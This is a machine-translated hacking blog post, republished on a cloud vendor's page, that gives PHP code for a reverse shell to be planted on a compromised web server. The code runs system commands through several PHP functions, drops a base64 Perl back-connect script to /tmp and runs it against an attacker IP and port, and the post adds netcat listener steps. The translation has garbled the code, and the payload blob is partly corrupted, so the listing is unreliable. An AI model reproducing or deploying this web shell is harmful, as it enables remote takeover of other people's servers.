Php reverse shell implementation code

Source: Internet
Author: User

I was very helpless. I didn't think of any good solution. Then I came to the dark. Put a php page and the shell can be directly played back. Besides, the operations in the console are much more convenient than webshell, and there will be no timeout or other situations.
Because I don't know much about php, I found the wretched Nono and light rain and modified the code. The bounce code was extracted from phpspy2008, but it cannot be used directly, you need to change it to a separate PHP file. After the upload, listen to a local port, set the bounce IP address and port in the code, and then directly access the port, a shell will be returned.
Statement, no technical content, mainly for convenience. In this way, you can directly access this php page and directly play back the shell. You do not need to perform other tedious operations. The modified code is shown below.
Copy codeThe Code is as follows:
<? Php
Function which ($ pr ){
$ Path = execute ("which $ pr ");
Return ($ path? $ Path: $ pr );
}
Function execute ($ cfe ){
$ Res = '';
If ($ cfe ){
If (function_exists ('exec ')){
@ Exec ($ cfe, $ res );
$ Res = join ("\ n", $ res );
} Elseif (function_exists ('Shell _ exec ')){
$ Res = @ shell_exec ($ cfe );
} Elseif (function_exists ('system ')){
@ Ob_start ();
@ System ($ cfe );
$ Res = @ ob_get_contents ();
@ Ob_end_clean ();
} Elseif (function_exists ('passthru ')){
@ Ob_start ();
@ Passthru ($ cfe );
$ Res = @ ob_get_contents ();
@ Ob_end_clean ();
} Elseif (@ is_resource ($ f = @ popen ($ cfe, "r "))){
$ Res = '';
While (! @ Feof ($ f )){
$ Res. = @ fread ($ f, 1024 );
}
@ Pclose ($ f );
}
}
Return $ res;
}
Function cf ($ fname, $ text ){
If ($ fp = @ fopen ($ fname, 'w ')){
@ Fputs ($ fp, @ base64_decode ($ text ));
@ Fclose ($ fp );
}
}
$ Yourip = "your IP ";
$ Yourport = 'your port ';
$ Usedb = array ('perl '=> 'perl', 'c' => 'C ');
$ Back_connect = "success ".
"Success ".
"Success ".
"Success ".
"Success ".
"Success ".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw = ";
Cf ('/tmp/. bc', $ back_connect );
$ Res = execute (which ('perl '). "/tmp/. bc $ yourip $ yourport &");
?>

First execute nc-l-vv-p port locally and then access this php page http://www.site.com/fuck.php local will get a rebound shell.
This method is only applicable to the use of zombie streams. If you have any good method, please do not hesitate to give me a try.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.